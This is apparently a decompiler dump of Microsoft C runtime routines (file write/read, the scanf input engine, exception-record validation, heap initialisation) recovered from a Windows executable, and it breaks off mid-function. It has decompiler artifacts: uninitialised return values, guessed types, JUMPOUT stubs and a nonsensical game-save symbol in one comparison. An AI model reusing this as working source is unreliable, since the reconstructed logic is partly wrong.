type int __pioinfo[]; //----- (0057F648) -------------------------------------------------------- int __cdecl _write(int fh, const void *buf, unsigned int cnt) { int v3; // esi@2 int result; // eax@6 if ( fh < _nhandle && (v3 = 36 * (fh & 0x1F), *(_BYTE *)(__pioinfo[fh >> 5] + v3 + 4) & 1) ) { _lock_fhandle(fh); if ( *(_BYTE *)(__pioinfo[fh >> 5] + v3 + 4) & 1 ) { _write_lk(fh, buf, cnt); } else { *_errno() = 9; *__doserrno() = 0; } _unlock_fhandle(fh); } else { *_errno() = 9; *__doserrno() = 0; result = -1; } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (0057F6F3) -------------------------------------------------------- int __cdecl _commit(int filedes) { int v1; // esi@2 int v2; // eax@4 int result; // eax@10 unsigned int retval; // [sp+Ch] [bp-1Ch]@5 if ( filedes < _nhandle ) { v1 = 36 * (filedes & 0x1F); if ( *(_BYTE *)(__pioinfo[filedes >> 5] + v1 + 4) & 1 ) { _lock_fhandle(filedes); if ( *(_BYTE *)(__pioinfo[filedes >> 5] + v1 + 4) & 1 ) { v2 = _get_osfhandle(filedes); if ( FlushFileBuffers((HANDLE)v2) ) retval = 0; else retval = GetLastError(); if ( !retval ) goto good; *__doserrno() = retval; } *_errno() = 9; good: _unlock_fhandle(filedes); return result; } } *_errno() = 9; return -1; } // 146D05C0: using guessed type int __pioinfo[]; //----- (0057F7AF) -------------------------------------------------------- int __cdecl __isctype_mt(threadlocaleinfostruct *ptloci, int c, int mask) { int v3; // ecx@0 int v4; // eax@2 int v5; // edx@3 int v6; // eax@4 int result; // eax@6 int buffer; // [sp+0h] [bp-4h]@1 buffer = v3; if ( (unsigned int)(c + 1) <= 0x100 ) { v4 = ptloci->pctype[c]; return mask & v4; } v5 = c >> 8; if ( HIBYTE(ptloci->pctype[BYTE1(c)]) & 0x80 ) { *(_WORD *)((char *)&buffer + 1) = (unsigned __int8)c; LOBYTE(buffer) = v5; v6 = 2; } else { LOWORD(buffer) = (unsigned __int8)c; v6 = 1; } result = __crtGetStringTypeA( 1u, (const char *)&buffer, v6, (unsigned __int16 *)&c + 1, ptloci->lc_codepage, ptloci->lc_handle[2], 1); if ( result ) { v4 = HIWORD(c); return mask & v4; } return result; } //----- (0057F826) -------------------------------------------------------- int __usercall inc(_iobuf *fileptr) { bool v1; // sf@1 int result; // eax@2 v1 = fileptr->_cnt-- - 1 < 0; if ( v1 ) result = _filbuf(fileptr); else result = *fileptr->_ptr++; return result; } //----- (0057F83C) -------------------------------------------------------- int __cdecl _input(_iobuf *stream, const char *format, char *arglist) { int v3; // esi@5 const char *v4; // esi@10 int v5; // edi@11 signed int v6; // ebx@12 const char v7; // cl@21 void *v8; // ebx@43 const char v9; // al@46 int v10; // edi@49 int v11; // esi@52 _iobuf *v12; // esi@54 int v13; // eax@65 int v14; // ebx@69 char *v15; // esi@71 int v16; // ebx@71 _iobuf *v17; // edi@74 int v18; // eax@79 int v19; // eax@83 int v20; // eax@85 int v21; // eax@91 int v22; // eax@92 int v23; // eax@95 int v24; // eax@97 bool v25; // zf@117 void *v26; // edi@122 void *v27; // ebx@124 void *v28; // esp@125 char v29; // dl@128 unsigned __int8 v30; // cl@131 char v31; // al@133 unsigned int v32; // esi@136 char v33; // al@141 void *v34; // esi@145 int v35; // eax@148 signed int v36; // eax@149 int v37; // eax@169 int v38; // ebx@262 int v39; // eax@262 const char *v40; // esi@262 int v41; // eax@264 int result; // eax@276 int v43; // [sp-20h] [bp-208h]@125 __int64 v44; // [sp-10h] [bp-1F8h]@212 int v45; // [sp-Ch] [bp-1F4h]@105 signed __int64 v46; // [sp-8h] [bp-1F0h]@212 int v47; // [sp-4h] [bp-1ECh]@8 char *arglistsave; // [sp+Ch] [bp-1DCh]@43 int malloc_flag; // [sp+10h] [bp-1D8h]@1 int v50; // [sp+14h] [bp-1D4h]@136 void *scanptr; // [sp+18h] [bp-1D0h]@122 __int16 wctemp; // [sp+1Ch] [bp-1CCh]@162 int integer64; // [sp+20h] [bp-1C8h]@11 char temp[2]; // [sp+24h] [bp-1C4h]@160 int comchr; // [sp+28h] [bp-1C0h]@49 void *table; // [sp+2Ch] [bp-1BCh]@1 int count; // [sp+30h] [bp-1B8h]@1 int widthset; // [sp+34h] [bp-1B4h]@11 void *pointer; // [sp+38h] [bp-1B0h]@1 __int64 num64; // [sp+3Ch] [bp-1ACh]@23 char reject; // [sp+47h] [bp-1A1h]@11 int number; // [sp+48h] [bp-1A0h]@11 int started; // [sp+4Ch] [bp-19Ch]@11 char prevchar; // [sp+50h] [bp-198h]@11 char negative; // [sp+51h] [bp-197h]@11 char fl_wchar_arg; // [sp+52h] [bp-196h]@11 char match; // [sp+53h] [bp-195h]@1 int c; // [sp+54h] [bp-194h]@1 char suppress; // [sp+5Ah] [bp-18Eh]@11 char longone; // [sp+5Bh] [bp-18Dh]@11 int width; // [sp+5Ch] [bp-18Ch]@11 char widechar; // [sp+63h] [bp-185h]@11 int charcount; // [sp+64h] [bp-184h]@1 char done_flag; // [sp+6Bh] [bp-17Dh]@11 char floatstring[350]; // [sp+6Ch] [bp-17Ch]@71 CPPEH_RECORD ms_exc; // [sp+1D0h] [bp-18h]@125 void *formata; // [sp+1F4h] [bp+Ch]@42 table = 0; malloc_flag = 0; pointer = 0; c = 0; match = 0; charcount = 0; count = 0; do { while ( 1 ) { if ( !*format ) goto error_return_0; if ( !isspace((unsigned __int8)*format) ) break; --charcount; do { ++charcount; v3 = inc(stream); } while ( isspace(v3) ); if ( v3 != -1 ) _ungetc_lk(v3, stream); do { ++format; v47 = (unsigned __int8)*format; } while ( isspace(v47) ); } v4 = format; if ( *format != 37 ) { ++charcount; v38 = inc(stream); c = v38; v39 = (unsigned __int8)*format; v40 = format++ + 1; if ( v39 == v38 ) { if ( !(HIBYTE(_pctype[(unsigned __int8)v38]) & 0x80) ) continue; ++charcount; v41 = inc(stream); format = v40 + 1; if ( *v40 == v41 ) { --charcount; continue; } if ( v41 != -1 ) _ungetc_lk(v41, stream); } v25 = v38 == -1; goto LABEL_268; } v5 = 0; number = 0; prevchar = 0; started = 0; widthset = 0; width = 0; reject = 0; negative = 0; suppress = 0; done_flag = 0; fl_wchar_arg = 0; widechar = 0; longone = 1; integer64 = 0; do { ++v4; v6 = (unsigned __int8)*v4; v47 = (unsigned __int8)*v4; if ( isdigit(v47) ) { ++widthset; v5 = v6 + 10 * v5 - 48; continue; } if ( v6 > 78 ) { if ( v6 == 104 ) { --longone; --widechar; } else { if ( v6 == 108 ) { ++longone; } else { if ( v6 != 119 ) goto DEFAULT_LABEL; } ++widechar; } } else { if ( v6 == 78 ) continue; if ( v6 == 42 ) { ++suppress; continue; } if ( v6 == 70 ) continue; if ( v6 != 73 ) { if ( v6 == 76 ) { ++longone; continue; } DEFAULT_LABEL: ++done_flag; continue; } v7 = v4[1]; if ( v7 == 54 && v4[2] == 52 ) { v4 += 2; ++integer64; num64 = 0i64; continue; } if ( v7 == 51 && v4[2] == 50 ) { v4 += 2; continue; } if ( v7 != 100 && v7 != 105 && v7 != 111 && v7 != 120 && v7 != 88 ) goto DEFAULT_LABEL; } } while ( !done_flag ); width = v5; formata = (void *)v4; if ( suppress ) { v8 = pointer; } else { arglistsave = arglist; arglist += 4; v8 = (void *)*((_DWORD *)arglist - 1); pointer = (void *)*((_DWORD *)arglist - 1); } done_flag = 0; if ( !widechar ) { v9 = *v4; if ( *v4 == 83 || (widechar = -1, v9 == 67) ) widechar = 1; } v10 = (unsigned __int8)*v4 | 0x20; comchr = v10; if ( v10 == 110 ) { LABEL_54: v12 = stream; } else { if ( v10 != 99 && v10 != 123 ) { do { ++charcount; v11 = inc(stream); } while ( isspace(v11) ); c = v11; goto LABEL_54; } ++charcount; v12 = stream; c = inc(stream); } if ( widthset && !width ) goto LABEL_117; if ( v10 > 111 ) { if ( v10 == 112 ) { longone = 1; } else { if ( v10 == 115 ) { LABEL_109: if ( widechar > 0 ) fl_wchar_arg = 1; goto scanit; } if ( v10 != 117 ) { if ( v10 != 120 ) { if ( v10 == 123 ) { if ( widechar > 0 ) fl_wchar_arg = 1; v26 = (char *)formata + 1; formata = v26; scanptr = v26; if ( *(_BYTE *)v26 == 94 ) { v26 = (char *)v26 + 1; scanptr = v26; reject = -1; } v27 = table; if ( !table ) { v28 = alloca(32); ms_exc.old_esp = (DWORD)&v43; v27 = &v43; table = &v43; ms_exc.disabled = -1; } memset(v27, 0, 0x20u); if ( comchr == 123 && *(_BYTE *)v26 == 93 ) { v29 = 93; v26 = (char *)v26 + 1; *((_BYTE *)v27 + 11) = 32; goto LABEL_141; } LABEL_140: v29 = prevchar; LABEL_141: while ( 1 ) { v33 = *(_BYTE *)v26; if ( *(_BYTE *)v26 == 93 ) break; v26 = (char *)v26 + 1; if ( v33 != 45 || !v29 || (v30 = *(_BYTE *)v26, *(_BYTE *)v26 == 93) ) { prevchar = v33; *((_BYTE *)v27 + ((unsigned int)(unsigned __int8)v33 >> 3)) |= 1 << (v33 & 7); goto LABEL_140; } v26 = (char *)v26 + 1; if ( v29 >= v30 ) { v31 = v29; v29 = v30; } else { v31 = v30; } if ( v29 <= (unsigned __int8)v31 ) { v32 = (unsigned __int8)v29; v50 = (unsigned __int8)(v31 - v29 + 1); do { *((_BYTE *)v27 + (v32 >> 3)) |= 1 << (v32 & 7); ++v32; --v50; } while ( v50 ); } v29 = 0; } v8 = pointer; if ( comchr == 123 ) formata = v26; v10 = comchr; scanit: v34 = v8; --charcount; if ( c != -1 ) _ungetc_lk(c, stream); while ( 1 ) { if ( widthset ) { v35 = width--; if ( !v35 ) break; } ++charcount; v36 = inc(stream); c = v36; if ( v36 == -1 ) goto LABEL_187; if ( v10 != 99 && (v10 != 115 || v36 >= 9 && v36 <= 13 || v36 == 32) ) { if ( v10 != 123 || !((1 << (v36 & 7)) & (reject ^ *((_BYTE *)table + (v36 >> 3)))) ) { LABEL_187: --charcount; if ( v36 != -1 ) _ungetc_lk(v36, stream); break; } v10 = comchr; } if ( suppress ) { v34 = (char *)v34 + 1; } else { if ( fl_wchar_arg ) { temp[0] = v36; if ( HIBYTE(_pctype[(unsigned __int8)v36]) & 0x80 ) { ++charcount; temp[1] = inc(stream); } mbtowc((unsigned __int16 *)&wctemp, temp, __mb_cur_max); *(_WORD *)v8 = wctemp; v8 = (char *)v8 + 2; } else { *(_BYTE *)v8 = v36; v8 = (char *)v8 + 1; } pointer = v8; } } if ( v34 != v8 ) { if ( !suppress ) { ++count; if ( comchr != 99 ) { if ( fl_wchar_arg ) *(_WORD *)pointer = 0; else *(_BYTE *)pointer = 0; } } goto LABEL_261; } break; } LABEL_116: if ( *(_BYTE *)formata == c ) { --match; if ( !suppress ) arglist = arglistsave; goto LABEL_261; } LABEL_117: v25 = c == -1; LABEL_268: if ( !v25 ) _ungetc_lk(c, stream); break; } LABEL_69: v14 = c; if ( c == 45 ) { negative = 1; } else { if ( c != 43 ) { LABEL_168: if ( v14 != 48 ) { getnum: if ( integer64 ) { if ( !done_flag ) { while ( v10 != 120 && v10 != 112 ) { if ( !isdigit(v14) ) goto LABEL_216; if ( v10 == 111 ) { if ( v14 >= 56 ) goto LABEL_216; num64 *= 8i64; } else { v46 = 10i64; v44 = num64; num64 *= 10i64; } LABEL_217: if ( done_flag ) { --charcount; if ( v14 != -1 ) _ungetc_lk(v14, v12); } else { ++started; num64 += v14 - 48; if ( !widthset || (--width, width) ) { ++charcount; v14 = inc(v12); } else { done_flag = 1; } } if ( done_flag ) { c = v14; goto LABEL_226; } } if ( isxdigit(v14) ) { num64 *= 16i64; if ( !isdigit(v14) ) v14 = (v14 & 0xFFFFFFDF) - 7; goto LABEL_217; } LABEL_216: ++done_flag; goto LABEL_217; } LABEL_226: if ( negative ) num64 = -num64; LABEL_251: if ( v10 == 70 ) started = 0; if ( started ) { if ( suppress ) goto LABEL_261; ++count; v8 = pointer; v13 = number; goto assign_num; } break; } if ( done_flag ) { LABEL_249: if ( negative ) number = -number; goto LABEL_251; } while ( v10 != 120 && v10 != 112 ) { if ( !isdigit(v14) ) goto LABEL_239; if ( v10 == 111 ) { if ( v14 >= 56 ) goto LABEL_239; number *= 8; } else { number *= 10; } LABEL_240: if ( done_flag ) { --charcount; if ( v14 != -1 ) _ungetc_lk(v14, v12); } else { ++started; number = number + v14 - 48; if ( !widthset || (--width, width) ) { ++charcount; v14 = inc(v12); } else { done_flag = 1; } } if ( done_flag ) { c = v14; goto LABEL_249; } } if ( isxdigit(v14) ) { number *= 16; if ( !isdigit(v14) ) v14 = (v14 & 0xFFFFFFDF) - 7; goto LABEL_240; } LABEL_239: ++done_flag; goto LABEL_240; } ++charcount; v37 = inc(v12); v14 = v37; c = v37; if ( (_BYTE)v37 == 120 || (_BYTE)v37 == 88 ) { ++charcount; v14 = inc(v12); c = v14; if ( widthset ) { width -= 2; if ( width < 1 ) ++done_flag; } v47 = 120; goto LABEL_176; } started = 1; if ( v10 != 120 ) { if ( widthset ) { --width; if ( !width ) ++done_flag; } v47 = 111; LABEL_176: v10 = v47; goto getnum; } --charcount; if ( v37 != -1 ) _ungetc_lk(v37, v12); v14 = 48; LABEL_203: c = v14; goto getnum; } } --width; if ( width || !widthset ) { ++charcount; v14 = inc(v12); c = v14; } else { done_flag = 1; } goto LABEL_168; } } LABEL_196: v14 = c; if ( c == 45 ) { negative = 1; } else { if ( c != 43 ) goto getnum; } --width; if ( !width && widthset ) { done_flag = 1; goto getnum; } ++charcount; v14 = inc(v12); goto LABEL_203; } if ( v10 == 111 ) goto LABEL_196; if ( v10 == 99 ) { if ( !widthset ) { widthset = 1; ++width; } goto LABEL_109; } if ( v10 == 100 ) goto LABEL_196; if ( v10 <= 100 ) goto LABEL_116; if ( v10 <= 103 ) { v15 = floatstring; v16 = c; if ( c == 45 ) { floatstring[0] = c; v15 = &floatstring[1]; goto f_incwidth; } if ( c == 43 ) { f_incwidth: --width; ++charcount; v17 = stream; v16 = inc(stream); c = v16; } else { v17 = stream; } if ( !widthset || width > 349 ) width = 349; while ( isdigit(v16) ) { v18 = width--; if ( !v18 ) break; ++started; *v15++ = v16; ++charcount; v16 = inc(v17); c = v16; } if ( __decimal_point == (_BYTE)v16 ) { v19 = width--; if ( v19 ) { ++charcount; v16 = inc(v17); *v15++ = __decimal_point; while ( 1 ) { c = v16; if ( !isdigit(v16) ) break; v20 = width--; if ( !v20 ) break; ++started; *v15++ = v16; ++charcount; v16 = inc(v17); } } } if ( started && (v16 == 101 || v16 == 69) ) { v21 = width--; if ( v21 ) { *v15++ = 101; ++charcount; v22 = inc(v17); v16 = v22; c = v22; if ( v22 == 45 ) { *v15++ = 45; goto f_incwidth2; } if ( v22 == 43 ) { f_incwidth2: v23 = width--; if ( !v23 ) { width = 0; goto LABEL_100; } goto LABEL_99; } LABEL_100: while ( isdigit(v16) ) { v24 = width--; if ( !v24 ) break; ++started; *v15++ = v16; LABEL_99: ++charcount; v16 = inc(v17); c = v16; } } } --charcount; if ( v16 != -1 ) _ungetc_lk(v16, v17); if ( started ) { if ( !suppress ) { ++count; *v15 = 0; v45 = longone - 1; off_6115E8(v45, pointer, floatstring); JUMPOUT(*(int *)loc_57FD7A); } goto LABEL_261; } break; } if ( v10 == 105 ) { v10 = 100; goto LABEL_69; } if ( v10 != 110 ) goto LABEL_116; v13 = charcount; if ( suppress ) goto LABEL_261; assign_num: if ( integer64 ) { *(_QWORD *)v8 = num64; } else { if ( longone ) *(_DWORD *)v8 = v13; else *(_WORD *)v8 = v13; } LABEL_261: ++match; format = (char *)formata + 1; } while ( c != -1 || *format == 37 && format[1] == 110 ); error_return_0: if ( malloc_flag == 1 ) free(table); result = count; if ( c == -1 && !count && !match ) result = -1; return result; } // 57FD7A: using guessed type int __cdecl(int stream, int format, int arglist); // 6115E8: using guessed type int (__cdecl *off_6115E8)(_DWORD, _DWORD, _DWORD); //----- (005805B8) -------------------------------------------------------- int __cdecl _filbuf(_iobuf *str) { int v1; // eax@1 int v2; // eax@5 int v3; // eax@8 int v4; // edx@10 int v5; // ecx@11 _UNKNOWN *v6; // edi@12 int v7; // ecx@17 char *v8; // ecx@20 int result; // eax@20 v1 = str->_flag; if ( !(v1 & 0x83) || v1 & 0x40 ) return -1; if ( v1 & 2 ) { str->_flag = v1 | 0x20; return -1; } v2 = v1 | 1; str->_flag = v2; if ( v2 & 0x10C ) str->_ptr = str->_base; else _getbuf(str); v3 = _read(str->_file, str->_base, str->_bufsiz); str->_cnt = v3; if ( !v3 || v3 == -1 ) { str->_flag |= v3 != 0 ? 32 : 16; str->_cnt = 0; return -1; } v4 = str->_flag; if ( !(v4 & 0x82) ) { v5 = str->_file; v6 = v5 == -1 ? &__badioinfo : __pioinfo[v5 >> 5] + 36 * (v5 & 0x1F); if ( (*((_BYTE *)v6 + 4) & 0x82) == -126 ) str->_flag = v4 | 0x2000; } if ( str->_bufsiz == 512 ) { v7 = str->_flag; if ( v7 & 8 ) { if ( !(BYTE1(v7) & 4) ) str->_bufsiz = 4096; } } v8 = str->_ptr; str->_cnt = v3 - 1; result = (unsigned __int8)*v8; str->_ptr = v8 + 1; return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (00580699) -------------------------------------------------------- int __cdecl _read_lk(int fh, void *buf, unsigned int cnt) { void *v3; // ebx@1 char *v4; // edx@1 int v5; // esi@2 int v6; // eax@2 char v7; // cl@2 int v8; // eax@5 unsigned int v9; // eax@7 int v11; // ecx@12 char *v12; // ecx@17 bool v13; // cf@17 char v14; // al@18 char v15; // al@29 int os_read; // [sp+Ch] [bp-Ch]@6 int bytes_read; // [sp+10h] [bp-8h]@1 char peekchr; // [sp+17h] [bp-1h]@25 unsigned int p; // [sp+28h] [bp+10h]@17 bytes_read = 0; v3 = buf; v4 = (char *)buf; if ( cnt ) { v5 = 36 * (fh & 0x1F); v6 = v5 + __pioinfo[fh >> 5]; v7 = *(_BYTE *)(v6 + 4); if ( !(v7 & 2) ) { if ( v7 & 0x48 && *(_BYTE *)(v6 + 5) != 10 ) { --cnt; *(_BYTE *)buf = *(_BYTE *)(__pioinfo[fh >> 5] + v5 + 5); v8 = __pioinfo[fh >> 5]; v4 = (char *)buf + 1; bytes_read = 1; *(_BYTE *)(v8 + v5 + 5) = 10; } if ( !ReadFile(*(HANDLE *)(__pioinfo[fh >> 5] + v5), v4, cnt, (LPDWORD)&os_read, 0) ) { v9 = GetLastError(); if ( v9 == 5 ) { *_errno() = 9; *__doserrno() = 5; return -1; } if ( v9 != 109 ) { _dosmaperr(v9); return -1; } return 0; } v11 = __pioinfo[fh >> 5]; bytes_read += os_read; if ( *(_BYTE *)(v11 + v5 + 4) & 0x80 ) { if ( os_read && *(_BYTE *)buf == 10 ) *(_BYTE *)(v11 + v5 + 4) |= 4u; else *(_BYTE *)(__pioinfo[fh >> 5] + v5 + 4) &= 0xFBu; v12 = (char *)buf + bytes_read; v13 = buf < (char *)buf + bytes_read; p = (unsigned int)buf; bytes_read += (int)buf; if ( v13 ) { do { v14 = *(_BYTE *)p; if ( *(_BYTE *)p == 26 ) { if ( !(*(_BYTE *)(__pioinfo[fh >> 5] + v5 + 4) & 0x40) ) *(_BYTE *)(__pioinfo[fh >> 5] + v5 + 4) |= 2u; break; } if ( v14 == 13 ) { if ( p < (unsigned int)(v12 - 1) ) { if ( *(_BYTE *)(p + 1) != 10 ) { ++p; LABEL_35: *(_BYTE *)v3 = 13; LABEL_36: v3 = (char *)v3 + 1; goto LABEL_37; } p += 2; goto LABEL_33; } ++p; if ( !ReadFile(*(HANDLE *)(__pioinfo[fh >> 5] + v5), &peekchr, 1u, (LPDWORD)&os_read, 0) && GetLastError() || !os_read ) goto LABEL_35; if ( *(_BYTE *)(__pioinfo[fh >> 5] + v5 + 4) & 0x48 ) { v15 = peekchr; if ( peekchr != 10 ) { *(_BYTE *)v3 = 13; *(_BYTE *)(__pioinfo[fh >> 5] + v5 + 5) = v15; goto LABEL_36; } LABEL_33: *(_BYTE *)v3 = 10; goto LABEL_36; } if ( v3 == buf && peekchr == 10 ) goto LABEL_33; _lseek_lk(fh, -1, 1); if ( peekchr != 10 ) goto LABEL_35; } else { *(_BYTE *)v3 = v14; v3 = (char *)v3 + 1; ++p; } LABEL_37: v12 = (char *)bytes_read; } while ( p < bytes_read ); } bytes_read = v3 - buf; } return bytes_read; } } return 0; } // 146D05C0: using guessed type int __pioinfo[]; //----- (00580874) -------------------------------------------------------- int __cdecl _read(int fh, void *buf, unsigned int cnt) { int v3; // esi@2 int result; // eax@6 if ( fh < _nhandle && (v3 = 36 * (fh & 0x1F), *(_BYTE *)(__pioinfo[fh >> 5] + v3 + 4) & 1) ) { _lock_fhandle(fh); if ( *(_BYTE *)(__pioinfo[fh >> 5] + v3 + 4) & 1 ) { _read_lk(fh, buf, cnt); } else { *_errno() = 9; *__doserrno() = 0; } _unlock_fhandle(fh); } else { *_errno() = 9; *__doserrno() = 0; result = -1; } return result; } // 146D05C0: using guessed type int __pioinfo[]; //----- (0058091F) -------------------------------------------------------- void __cdecl _RTC_Initialize() { unsigned int f; // [sp+Ch] [bp-1Ch]@1 for ( f = (unsigned int)&__rtc_izz; f < (unsigned int)&__rtc_izz; f += 4 ) { if ( *(_DWORD *)f ) (*(void (**)(void))f)(); } } //----- (00580963) -------------------------------------------------------- void __cdecl _RTC_Terminate() { unsigned int f; // [sp+Ch] [bp-1Ch]@1 for ( f = (unsigned int)&__rtc_tzz; f < (unsigned int)&__rtc_tzz; f += 4 ) { if ( *(_DWORD *)f ) (*(void (**)(void))f)(); } } //----- (005809A7) -------------------------------------------------------- int __cdecl __loctotime_t(int yr, int mo, int dy, int hr, int mn, int sc, int dstflag) { signed int v7; // esi@1 int v8; // edi@3 int v9; // ebx@8 int result; // eax@13 tm tb; // [sp+4h] [bp-24h]@8 v7 = yr - 1900; if ( yr - 1900 < 70 || v7 > 138 ) { result = -1; } else { v8 = dy + *(&dword_6115A8 + mo); if ( (!(v7 % 4) && v7 % 100 || !(yr % 400)) && mo > 2 ) ++v8; __tzset(); tb.tm_year = yr - 1900; tb.tm_yday = v8; tb.tm_min = mn; v9 = _timezone + 60 * (mn + 60 * (hr + 24 * ((yr - 1900 + 299) / 400 - (yr - 1901) / 100 + v8 + (yr - 1901) / 4 + 365 * (yr - 1900)))) + sc + 2085978496; tb.tm_mon = mo - 1; tb.tm_hour = hr; tb.tm_sec = sc; if ( dstflag == 1 || dstflag == -1 && _daylight && _isindst(&tb) ) v9 += _dstbias; result = v9; } return result; } //----- (00580AB5) -------------------------------------------------------- int __cdecl _ValidateEH3RN(_EH3_EXCEPTION_REGISTRATION *pRN) { _EH3_EXCEPTION_REGISTRATION *v1; // esi@1 _SCOPETABLE_ENTRY *v2; // ebx@1 unsigned __int32 v3; // eax@2 unsigned int v5; // edi@5 unsigned int v6; // edx@7 _SCOPETABLE_ENTRY *v7; // eax@7 unsigned int v8; // eax@14 int v9; // edi@16 int v10; // esi@16 char *v11; // eax@23 unsigned int v12; // ebx@25 int v13; // ecx@25 unsigned int v14; // eax@26 int v15; // ecx@30 int v16; // edx@30 int v17; // eax@31 int v18; // ebx@35 int j; // edx@37 int v20; // eax@38 void *v21; // esi@38 int v22; // eax@46 int i; // ecx@54 int v24; // eax@55 void *v25; // edx@55 _MEMORY_BASIC_INFORMATION mbi; // [sp+8h] [bp-20h]@19 unsigned int v27; // [sp+24h] [bp-4h]@2 int nFilters; // [sp+30h] [bp+8h]@7 v1 = pRN; v2 = pRN->ScopeTable; if ( (unsigned __int8)v2 & 3 || (v3 = __readfsdword(24), v27 = *(_DWORD *)(v3 + 8), (unsigned int)v2 >= v27) && (unsigned int)v2 < *(_DWORD *)(v3 + 4) ) return 0; v5 = pRN->TryLevel; if ( v5 == -1 ) return 1; v6 = 0; nFilters = 0; v7 = v2; do { if ( v7->EnclosingLevel != -1 && v7->EnclosingLevel >= v6 ) return 0; if ( v7->FilterFunc ) ++nFilters; ++v6; ++v7; } while ( v6 <= v5 ); if ( nFilters ) { v8 = *((_DWORD *)v1 - 2); if ( v8 < v27 || v8 >= (unsigned int)v1 ) return 0; } v9 = (unsigned int)v2 & 0xFFFFF000; v10 = 0; if ( nValidPages > 0 ) { while ( rgValidPages[v10] != (void *)v9 ) { ++v10; if ( v10 >= nValidPages ) goto LABEL_19; } if ( v10 <= 0 || InterlockedExchange(&lModifying, 1) ) return 1; if ( rgValidPages[v10] != (void *)v9 ) { v22 = nValidPages; v10 = nValidPages - 1; if ( nValidPages - 1 < 0 ) goto LABEL_60; do { if ( rgValidPages[v10] == (void *)v9 ) break; --v10; } while ( v10 >= 0 ); if ( v10 >= 0 ) { if ( !v10 ) { LABEL_56: InterlockedExchange(&lModifying, 0); return 1; } } else { LABEL_60: if ( nValidPages < 16 ) v22 = nValidPages++ + 1; v10 = v22 - 1; } } for ( i = 0; i <= v10; v9 = (int)v25 ) { v24 = 4 * i + 342688624; v25 = rgValidPages[i++]; *(_DWORD *)v24 = v9; } goto LABEL_56; } LABEL_19: if ( VirtualQuery(v2, &mbi, 0x1Cu) && (char *)mbi.Type == &wholesaver.ws_savestore[104].esc_skill.buffer[516] ) { if ( !(mbi.Protect & 0xCC) ) goto exit_success; if ( *(_WORD *)mbi.AllocationBase == 23117 ) { v11 = (char *)mbi.AllocationBase + *((_DWORD *)mbi.AllocationBase + 15); if ( *(_DWORD *)v11 == 17744 ) { if ( *((_WORD *)v11 + 12) == 267 ) { v12 = (char *)v2 - mbi.AllocationBase; v13 = (int)&v11[*((_WORD *)v11 + 10) + 24]; if ( *((_WORD *)v11 + 3) ) { v14 = *(_DWORD *)&v11[*((_WORD *)v11 + 10) + 36]; if ( v12 < v14 || v12 >= v14 + *(_DWORD *)(v13 + 8) || !(*(_BYTE *)(v13 + 39) & 0x80) ) { exit_success: if ( !InterlockedExchange(&lModifying, 1) ) { v15 = nValidPages; v16 = nValidPages; if ( nValidPages > 0 ) { v17 = 4 * nValidPages + 342688620; do { if ( *(_DWORD *)v17 == v9 ) break; --v16; v17 -= 4; } while ( v16 > 0 ); } if ( !v16 ) { v18 = 15; if ( nValidPages <= 15 ) v18 = nValidPages; for ( j = 0; j <= v18; v9 = (int)v21 ) { v20 = 4 * j + 342688624; v21 = rgValidPages[j++]; *(_DWORD *)v20 = v9; } if ( v15 < 16 ) nValidPages = v15 + 1; } InterlockedExchange(&lModifying, 0); } return 1; } return 0; } } } } } return -1; } //----- (00580CDE) -------------------------------------------------------- int __cdecl __heap_select() { int result; // eax@3 if ( _osplatform != 2 || _winmajor < 5 ) result = 3; else result = 1; return result; } // 146D00AC: using guessed type int _osplatform; //----- (00580CF8) -------------------------------------------------------- int __cdecl _heap_init(int mtflag) { _crtheap = HeapCreate(mtflag == 0, 0x1000u, 0); if ( !_crtheap ) return 0; __active_heap = __heap_select(); if ( __active_heap == 3 && !__sbh_heap_init(0x3F8u) ) { HeapDestroy(_crtheap); return 0; } return 1; } // 146D0928: using guessed type int __active_heap; //----- (00580D49) -------------------------------------------------------- int __cdecl __sbh_heap_init(unsigned int threshold) { int result; // eax@1 result = (int)HeapAlloc(_crtheap, 0, 0x140u); __sbh_pHeaderList = (LPVOID)result; if ( result ) { __sbh_pHeaderDefer = 0; __sbh_cntHeaderList = 0; __sbh_pHeaderScan = result; __sbh_threshold = threshold; __sbh_sizeHeaderList = 16; result = 1; } return result; } // 146D090C: using guessed type int __sbh_cntHeaderList; // 146D0914: using guessed type int __sbh_threshold; // 146D0918: using guessed type int __sbh_pHeaderScan; // 146D091C: using guessed type int __sbh_sizeHeaderList; //----- (00580D91) -------------------------------------------------------- tagHeader *__cdecl __sbh_find_block(void *pvAlloc) { tagHeader *result; // eax@1 for ( result = (tagHeader *)__sbh_pHeaderList; (char *)result < (char *)__sbh_pHeaderList + 20 * __sbh_cntHeaderList; ++result ) { if ( pvAlloc - result->pHeapData < 0x100000 ) return result; } return 0; } // 146D090C: using guessed type int __sbh_cntHeaderList; //----- (00580DBC) -------------------------------------------------------- void __cdecl __sbh_free_block(tagHeader *pHeader, void *pvAlloc) { tagRegion *v2; // eax@1 char *v3; // esi@1 unsigned int v4; // edi@1 signed int v5; // ecx@1 int v6; // ebx@2 int v7; // edx@3 int v8; // ecx@7 unsigned int v9; // ebx@7 bool v10; // zf@7 int v11; // ecx@9 unsigned int v12; // ebx@9 int v13; // edx@13 int v14; // ebx@16 signed int v15; // ecx@18 unsigned int v16; // esi@23 unsigned int v17; // esi@25 int v18; // ecx@32 int v19; // ebx@32 char *v20; // eax@42 unsigned int pGroup; // [sp+8h] [bp-10h]@1 signed int sizeNext; // [sp+Ch] [bp-Ch]@2 signed int sizePrev; // [sp+10h] [bp-8h]@2 int sizeEntry; // [sp+14h] [bp-4h]@1 int pNext; // [sp+24h] [bp+Ch]@2 int pNexta; // [sp+24h] [bp+Ch]@16 char pNext_3; // [sp+27h] [bp+Fh]@33 v2 = pHeader->pRegion; v3 = (char *)pvAlloc - 4; v4 = (pvAlloc - pHeader->pHeapData) >> 15; pGroup = (unsigned int)&v2->grpHeadList[(pvAlloc - pHeader->pHeapData) >> 15]; v5 = *((_DWORD *)pvAlloc - 1) - 1; sizeEntry = *((_DWORD *)pvAlloc - 1) - 1; if ( !(v5 & 1) ) { v6 = (int)&v3[v5]; sizeNext = *(_DWORD *)&v3[v5]; sizePrev = *((_DWORD *)pvAlloc - 2); pNext = (int)&v3[v5]; if ( !(sizeNext & 1) ) { v7 = (sizeNext >> 4) - 1; if ( (unsigned int)v7 > 0x3F ) v7 = 63; if ( *(_DWORD *)(v6 + 4) == *(_DWORD *)(v6 + 8) ) { if ( (unsigned int)v7 >= 0x20 ) { v11 = (int)&v2->cntRegionSize[v7]; v12 = ~(0x80000000u >> (v7 - 32)); 